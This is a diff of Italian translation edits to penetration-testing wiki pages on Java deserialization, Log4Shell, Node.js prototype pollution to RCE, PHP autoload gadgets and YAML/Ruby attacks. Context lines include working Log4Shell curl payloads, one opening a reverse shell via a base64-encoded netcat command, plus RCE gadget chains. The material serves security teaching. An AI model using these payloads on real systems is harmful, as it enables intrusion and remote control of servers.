e **l'oggetto è l'output dell'ultimo transformer eseguito**. Pertanto, **tutti i trasformatori sono concatenati eseguendo il payload malevolo**. +Quindi, ricorda che all'interno di **factory** avevamo salvato **`chainedTransformer`** e all'interno della funzione **`transform`** stavamo **attraversando tutti quei transformer concatenati** ed eseguendoli uno dopo l'altro. La cosa divertente è che **ogni transformer utilizza `object`** **come input** e **l'oggetto è l'output dell'ultimo transformer eseguito**. Pertanto, **tutte le trasformazioni sono concatenate eseguendo il payload malevolo**. ### Riepilogo @@ -149,7 +149,7 @@ new Class[]{String.class}, command ).transform(value); //(4) ``` -_Nota come `value` sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di un one-liner:_ +_Nota come `value` sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di una riga:_ ```java ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ``` diff --git a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md index 2904e62c2..434dd653c 100644 --- a/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md +++ b/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md @@ -4,7 +4,7 @@ ## Informazioni di base -JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di fornitore di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP. +JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di provider di servizio (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP. ### Riferimento di denominazione JNDI @@ -39,15 +39,15 @@ Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in una CORBA (Common Object Request Broker Architecture) utilizza un **Interoperable Object Reference (IOR)** per identificare univocamente gli oggetti remoti. Questo riferimento include informazioni essenziali come: -- **Type ID**: Identificatore unico per un'interfaccia. +- **Type ID**: Identificatore univoco per un'interfaccia. - **Codebase**: URL per ottenere la classe stub. È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza comporta tipicamente: - Installazione di un **Security Manager**. -- Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere ottenuto tramite: +- Configurazione del Security Manager per consentire connessioni a codebase potenzialmente malevole. Ciò può essere ottenuto tramite: - Permesso socket, ad es., `permissions java.net.SocketPermission "*:1098-1099", "connect";`. -- Permessi di lettura file, sia universali (`permission java.io.FilePermission "<>", "read";`) sia per directory specifiche in cui potrebbero essere posizionati file dannosi. +- Permessi di lettura file, sia universalmente (`permission java.io.FilePermission "<>", "read";`) o per directory specifiche in cui potrebbero essere posizionati file malevoli. Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita. @@ -111,11 +111,11 @@ Questa vulnerabilità colpisce il **framework di logging Logback**, successore d ### **CVE-2021-45105** **\[Alto]** -Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere la CVE. Maggiori dettagli sono nel [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) di BleepingComputer. +Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di `log4j 2.17.0` per correggere la CVE. Maggiori dettagli sono nel [report di BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Colpisce la versione log4j 2.17, questa CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +Colpisce la versione 2.17 di log4j, questa CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Sfruttamento di Log4Shell @@ -242,9 +242,9 @@ ${jndi:ldap://:1389/Exploit} ### RCE - **JNDIExploit** > [!NOTE] -> Nota che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità. +> Tieni presente che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità. > -> Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi analizza il codice sorgente o esegui il jar sapendo che non sai cosa stai eseguendo. +> Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi o analizza il codice sorgente, o esegui il jar sapendo che non sai cosa stai eseguendo. Per questo esempio puoi semplicemente eseguire questo **vulnerable web server to log4shell** sulla porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_nel README troverai come eseguirlo_). Questa app vulnerabile sta registrando con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP _X-Api-Version_. @@ -273,9 +273,9 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` -Quando invii gli attacchi, vedrai alcuni output nel terminale in cui hai eseguito **JNDIExploit-1.2-SNAPSHOT.jar**. +Quando invii gli attacchi, vedrai alcuni output nel terminale dove hai eseguito **JNDIExploit-1.2-SNAPSHOT.jar**. -**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, se ne hai bisogno, puoi cambiare la porta dei server LDAP e HTTP.** +**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.** ### RCE - JNDI-Exploit-Kit @@ -343,13 +343,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ## Post-Log4Shell Exploitation -In questo [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia **potenzialmente possibile** **abusare** di alcune funzionalità di **Log4J**. +In questo [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia potenzialmente **possibile** **abusare** di alcune funzionalità di **Log4J**. La [**pagina di sicurezza**](https://logging.apache.org/log4j/2.x/security.html) di Log4j contiene alcune frasi interessanti: > A partire dalla versione 2.16.0 (per Java 8), la **funzionalità di ricerca dei messaggi è stata completamente rimossa**. **Le ricerche nella configurazione funzionano ancora**. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. Le ricerche JNDI nella configurazione devono ora essere abilitate esplicitamente. -> A partire dalla versione 2.17.0 (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente**; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte. +> A partire dalla versione 2.17.0, (e 2.12.3 e 2.3.1 per Java 7 e Java 6), **solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente**; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte. Questo significa che per impostazione predefinita puoi **dimenticare di utilizzare qualsiasi exploit `jndi`**. Inoltre, per eseguire **ricerche ricorsive** è necessario configurarle. @@ -397,7 +397,7 @@ Abusando di questo comportamento potresti far sostituire **attivando un'eccezion Come menzionato nella sezione precedente, **`%replace`** supporta **regexes**. Quindi è possibile utilizzare un payload dalla [**pagina ReDoS**](../regular-expression-denial-of-service-redos.md) per causare un **timeout** nel caso in cui il flag venga trovato.\ Ad esempio, un payload come `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` attiverebbe un **timeout** in quel CTF. -In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, è stato utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta: +In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), invece di utilizzare un attacco ReDoS, ha utilizzato un **attacco di amplificazione** per causare una differenza di tempo nella risposta: > ``` > /%replace{ @@ -414,6 +414,7 @@ In questo [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022 > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} +> }{#}{######################################################} > ``` > > Se il flag inizia con `flagGuess`, l'intero flag viene sostituito con 29 `#`-s (ho usato questo carattere perché probabilmente non farebbe parte del flag). **Ognuno dei 29 `#`-s risultanti viene poi sostituito da 54 `#`-s**. Questo processo viene ripetuto **6 volte**, portando a un totale di ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 2e5cdfc8e..908061089 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -1,4 +1,4 @@ -# NodeJS - \_\_proto\_\_ & inquinamento del prototipo +# NodeJS - \_\_proto\_\_ e inquinamento del prototipo {{#include ../../../banners/hacktricks-training.md}} @@ -213,7 +213,7 @@ client-side-prototype-pollution.md ### CVE-2019–11358: Attacco di inquinamento del prototipo tramite jQuery $ .extend -[Per ulteriori dettagli controlla questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, la funzione `$ .extend` può portare a inquinamento del prototipo se la funzione di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio: +[Per ulteriori dettagli controlla questo articolo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, la funzione `$ .extend` può portare a inquinamento del prototipo se la funzionalità di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio: ```javascript $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode) // Outputs: true @@ -241,7 +241,7 @@ NodeJS utilizza ampiamente gli Abstract Syntax Trees (AST) in JavaScript per fun #### Analisi della vulnerabilità di Handlebars -Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file `javascript-compiler.js`. La funzione `appendContent`, ad esempio, concatena `pendingContent` se è presente, mentre la funzione `pushSource` reimposta `pendingContent` a `undefined` dopo aver aggiunto la sorgente. +Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file `javascript-compiler.js`. La funzione `appendContent`, ad esempio, concatena `pendingContent` se è presente, mentre la funzione `pushSource` reimposta `pendingContent` su `undefined` dopo aver aggiunto la sorgente. **Processo di sfruttamento** @@ -249,7 +249,7 @@ Lo sfruttamento si basa sull'AST (Abstract Syntax Tree) prodotto da Handlebars, 1. **Manipolazione del Parser**: Inizialmente, il parser, tramite il nodo `NumberLiteral`, impone che i valori siano numerici. L'inquinamento del prototipo può eludere questo, consentendo l'inserimento di stringhe non numeriche. 2. **Gestione da parte del Compilatore**: Il compilatore può elaborare un oggetto AST o un template string. Se `input.type` è uguale a `Program`, l'input viene trattato come pre-parsato, il che può essere sfruttato. -3. **Iniezione di Codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione template, il che può portare all'esecuzione di codice remoto. +3. **Iniezione di Codice**: Attraverso la manipolazione di `Object.prototype`, è possibile iniettare codice arbitrario nella funzione template, il che può portare all'esecuzione remota di codice. Un esempio che dimostra lo sfruttamento della vulnerabilità di Handlebars: ```javascript @@ -343,7 +343,7 @@ Per ridurre il rischio di inquinamento del prototipo, possono essere impiegate l 5. **Uso di Map**: Invece di `Object`, dovrebbe essere utilizzato `Map` per memorizzare coppie chiave-valore. 6. **Aggiornamenti delle Librerie**: Le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie. 7. **Strumenti di Linter e Analisi Statica**: Utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilità di inquinamento del prototipo. -8. **Revisioni del Codice**: Implementare revisioni del codice approfondite per identificare e rimediare ai potenziali rischi legati all'inquinamento del prototipo. +8. **Revisioni del Codice**: Implementare revisioni del codice approfondite per identificare e risolvere potenziali rischi legati all'inquinamento del prototipo. 9. **Formazione sulla Sicurezza**: Educare gli sviluppatori sui rischi dell'inquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro. 10. **Uso Cauto delle Librerie**: Essere cauti nell'uso di librerie di terze parti. Valutare la loro postura di sicurezza e rivedere il loro codice, specialmente quelle che manipolano oggetti. 11. **Protezione a Runtime**: Impiegare meccanismi di protezione a runtime come l'uso di pacchetti npm focalizzati sulla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo. diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md index 026c39b4f..44487e8d1 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md @@ -26,7 +26,7 @@ Una volta identificata una vulnerabilità di prototype pollution da uno degli st Per codebase più grandi e complesse, un metodo semplice per scoprire il codice vulnerabile prevede i seguenti passaggi: 1. Usa uno strumento per identificare una vulnerabilità e ottenere un payload progettato per impostare una proprietà nel costruttore. Un esempio fornito da ppmap potrebbe apparire così: `constructor[prototype][ppmap]=reserved`. -2. Imposta un punto di interruzione sulla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione a questo punto di interruzione. +2. Imposta un breakpoint sulla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione a questo breakpoint. 3. Mentre l'esecuzione di JavaScript è in pausa, esegui il seguente script nella console JS. Questo script segnalerà quando la proprietà 'ppmap' viene creata, aiutando a localizzarne l'origine: ```javascript function debugAccess(obj, prop, debugGet = true) { @@ -46,7 +46,7 @@ origValue = val debugAccess(Object.prototype, "ppmap") ``` -4. Torna alla scheda **Sources** e seleziona "Resume script execution". Il JavaScript continuerà a essere eseguito e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando il frammento fornito, è possibile identificare il luogo esatto in cui la proprietà 'ppmap' è inquinata. Esaminando lo **Call Stack**, è possibile osservare diversi stack in cui si è verificato l'inquinamento. +4. Torna alla scheda **Sources** e seleziona “Resume script execution”. Il JavaScript continuerà a essere eseguito e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando il frammento fornito, è possibile identificare il luogo esatto in cui la proprietà 'ppmap' è inquinata. Esaminando lo **Call Stack**, è possibile osservare diversi stack in cui si è verificato l'inquinamento. Quando si decide quale stack investigare, è spesso utile mirare agli stack associati ai file delle librerie JavaScript, poiché l'inquinamento del prototipo si verifica frequentemente all'interno di queste librerie. Identifica lo stack pertinente esaminando il suo attacco ai file delle librerie (visibile sul lato destro, simile a un'immagine fornita come guida). In scenari con più stack, come quelli alle righe 4 e 6, la scelta logica è lo stack alla riga 4, poiché rappresenta la prima occorrenza di inquinamento e quindi la causa principale della vulnerabilità. Cliccando sullo stack verrai indirizzato al codice vulnerabile. @@ -56,7 +56,7 @@ Quando si decide quale stack investigare, è spesso utile mirare agli stack asso Il gadget è il **codice che sarà abusato una volta scoperta una vulnerabilità PP**. -Se l'applicazione è semplice, possiamo **cercare** parole chiave come **`srcdoc/innerHTML/iframe/createElement`** e rivedere il codice sorgente per verificare se **porta all'esecuzione di javascript**. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni buoni gadget come l'esempio qui sotto. +Se l'applicazione è semplice, possiamo **cercare** parole chiave come **`srcdoc/innerHTML/iframe/createElement`** e rivedere il codice sorgente e controllare se **porta all'esecuzione di javascript**. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni bei gadget come l'esempio qui sotto. ### Esempio di Trovare gadget PP nel codice della libreria Mithil diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index d78e450c4..3e0d72cdc 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE** significa **Prototype Pollution to RCE** (Esecuzione Remota di Codice). -Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri), chiama il metodo `normalizeSpawnArguments`, che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**: +Secondo questo [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando un **processo viene avviato** con qualche metodo da **`child_process`** (come `fork` o `spawn` o altri) chiama il metodo `normalizeSpawnArguments` che è un **gadget di inquinamento del prototipo per creare nuove variabili d'ambiente**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -228,7 +228,7 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` Per **`execFile`** per funzionare **DEVE eseguire node** affinché i NODE_OPTIONS funzionino.\ -Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con variabili d'ambiente** e impostarle. +Se **non** sta eseguendo **node**, devi trovare come **modificare l'esecuzione** di ciò che sta eseguendo **con le variabili d'ambiente** e impostarle. Le **altre** tecniche **funzionano** senza questo requisito perché è **possibile modificare** **ciò che viene eseguito** tramite la contaminazione del prototipo. (In questo caso, anche se puoi inquinare `.shell`, non inquinerai ciò che viene eseguito). @@ -369,7 +369,7 @@ var proc = execSync("something")
-execSync sfruttamento +esploitazione di execSync ```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) @@ -463,11 +463,11 @@ var proc = spawnSync("something") ## Forzare Spawn -Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente era **parte del codice**, ma cosa succede se il codice **non** lo chiama. +Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente, questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama. ### Controllare un percorso di file require -In questo [**altro writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario, l'attaccante deve semplicemente **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\ +In questo [**altro articolo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario, l'attaccante deve semplicemente **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\ Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono: - /path/to/npm/scripts/changelog.js @@ -502,11 +502,11 @@ done > [!WARNING] > La **tecnica precedente richiede** che l'**utente controlli il percorso del file** che deve essere **richiesto**. Ma questo non è sempre vero. -Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che deve essere richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiederà il pacchetto che hai inquinato**. +Tuttavia, se il codice eseguirà un require dopo l'inquinamento del prototipo, anche se **non controlli il percorso** che verrà richiesto, puoi **forzare un percorso diverso abusando dell'inquinamento del prototipo**. Quindi, anche se la riga di codice è come `require("./a_file.js")` o `require("bytes")`, **richiederà il pacchetto che hai inquinato**. Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non c'è una funzione di spawn, questo è l'attacco: -- Trova un **file `.js` all'interno del sistema** che quando **richiesto** **eseguirà qualcosa usando `child_process`** +- Trova un **file `.js` all'interno del sistema** che quando **richiesto** eseguirà **qualcosa usando `child_process`** - Se puoi caricare file sulla piattaforma che stai attaccando, potresti caricare un file del genere - Inquina i percorsi per **forzare il caricamento del require del file `.js`** che eseguirà qualcosa con child_process - **Inquina l'environ/cmdline** per eseguire codice arbitrario quando viene chiamata una funzione di esecuzione child_process (vedi le tecniche iniziali) @@ -658,26 +658,26 @@ NODE_OPTIONS: "--require=/proc/self/environ", require("./usage.js") ``` -## VM Gadgets +## Gadget VM Nel documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) è anche indicato che il controllo di **`contextExtensions`** da alcuni metodi della libreria **`vm`** potrebbe essere utilizzato come gadget.\ -Tuttavia, come i precedenti metodi **`child_process`**, è stato **risolto** nelle ultime versioni. +Tuttavia, come i precedenti metodi di **`child_process`**, è stato **risolto** nelle ultime versioni. -## Fixes & Unexpected protections +## Correzioni e protezioni inaspettate Si prega di notare che la contaminazione del prototipo funziona se l'**attributo** di un oggetto a cui si accede è **undefined**. Se nel **codice** quell'**attributo** è **impostato** a un **valore**, non **sarai in grado di sovrascriverlo**. -Nel giugno 2022 da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\ -Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploit** `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!). +Nel giugno 2022, da [**questo commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` invece di un `{}` è un **`kEmptyObject`**. Questo **previene una contaminazione del prototipo** che influisce sugli **attributi** di **`options`** per ottenere RCE.\ +Almeno dalla v18.4.0 questa protezione è stata **implementata**, e quindi gli **exploit** di `spawn` e `spawnSync` che influenzano i metodi **non funzionano più** (se non vengono utilizzati `options`!). In [**questo commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminazione del prototipo** di **`contextExtensions`** dalla libreria vm è stata **anche in parte risolta** impostando le opzioni a **`kEmptyObject`** invece di **`{}`.** -### **Other Gadgets** +### **Altri Gadget** - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) - [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution) -## References +## Riferimenti - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md index 0c4c07247..f65b38d7d 100644 --- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md +++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md @@ -36,13 +36,13 @@ require __DIR__ . $filename; }); ``` > [!TIP] -> Se hai un **file upload** e puoi caricare un file con **estensione `.php`**, potresti **sfruttare direttamente questa funzionalità** e ottenere già RCE. +> Se hai un **file upload** e puoi caricare un file con estensione **`.php`** potresti **abusare di questa funzionalità direttamente** e ottenere già RCE. -Nel mio caso, non avevo nulla di simile, ma c'era all'interno del **stesso container** un'altra pagina web di composer con una **libreria vulnerabile a un gadget `phpggc`**. +Nel mio caso, non avevo nulla di simile, ma c'era all'interno dello **stesso container** un'altra pagina web di composer con una **libreria vulnerabile a un gadget `phpggc`**. -- Per caricare questa altra libreria, prima devi **caricare il loader di composer di quell'altra web app** (perché quello dell'applicazione attuale non accederà alle librerie dell'altra). **Conoscendo il percorso dell'applicazione**, puoi ottenere questo molto facilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Nel mio caso, il loader di composer si trovava in `/www/frontend/vendor/autoload.php`) -- Ora puoi **caricare** il **loader di composer dell'altra app**, quindi è tempo di **`generare il payload phpgcc`** da utilizzare. Nel mio caso, ho usato **`Guzzle/FW1`**, che mi ha permesso di **scrivere qualsiasi file all'interno del filesystem**. -- NOTA: Il **gadget generato non funzionava**, affinché funzionasse ho **modificato** quel payload **`chain.php`** di phpggc e impostato **tutti gli attributi** delle classi **da privati a pubblici**. Altrimenti, dopo aver deserializzato la stringa, gli attributi degli oggetti creati non avevano valori. +- Per caricare questa altra libreria, prima devi **caricare il loader di composer di quell'altra web app** (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). **Conoscendo il percorso dell'applicazione**, puoi ottenere questo molto facilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Nel mio caso, il loader di composer si trovava in `/www/frontend/vendor/autoload.php`) +- Ora, puoi **caricare** il **loader di composer dell'altra app**, quindi è tempo di **`generare il payload phpgcc`** da utilizzare. Nel mio caso, ho usato **`Guzzle/FW1`**, che mi ha permesso di **scrivere qualsiasi file all'interno del filesystem**. +- NOTA: Il **gadget generato non funzionava**, affinché funzionasse ho **modificato** quel payload **`chain.php`** di phpggc e impostato **tutti gli attributi** delle classi **da privati a pubblici**. Altrimenti, dopo la deserializzazione della stringa, gli attributi degli oggetti creati non avevano valori. - Ora abbiamo il modo di **caricare il loader di composer dell'altra app** e avere un **payload phpgcc che funziona**, ma dobbiamo **fare questo nella STESSA RICHIESTA affinché il loader venga caricato quando il gadget viene utilizzato**. Per questo, ho inviato un array serializzato con entrambi gli oggetti come: - Puoi vedere **prima il loader che viene caricato e poi il payload**. ```php diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md index b9d7627ed..220744a83 100644 --- a/src/pentesting-web/deserialization/python-yaml-deserialization.md +++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md @@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) # #The other ways to load data will through an error as they won't even attempt to #deserialize the python object ``` -Il codice precedente utilizzava **unsafe_load** per caricare la classe python serializzata. Questo perché in **versione >= 5.1**, non consente di **deserializzare alcuna classe python serializzata o attributo di classe**, se il Loader non è specificato in load() o Loader=SafeLoader. +Il codice precedente utilizzava **unsafe_load** per caricare la classe python serializzata. Questo perché in **versione >= 5.1**, non consente di **deserializzare alcuna classe python serializzata o attributo di classe**, senza un Loader specificato in load() o Loader=SafeLoader. ### Exploit di Base diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md index 292cc5d34..2c2da8272 100644 --- a/src/pentesting-web/deserialization/ruby-class-pollution.md +++ b/src/pentesting-web/deserialization/ruby-class-pollution.md @@ -143,8 +143,8 @@ JSONMergerApp.run(json_input) ``` ### Spiegazione -1. **Privilege Escalation**: Il metodo `authorize` verifica se `to_s` restituisce "Admin." Iniettando un nuovo attributo `to_s` tramite JSON, un attaccante può far restituire al metodo `to_s` "Admin," concedendo privilegi non autorizzati. -2. **Remote Code Execution**: In `health_check`, `instance_eval` esegue i metodi elencati in `protected_methods`. Se un attaccante inietta nomi di 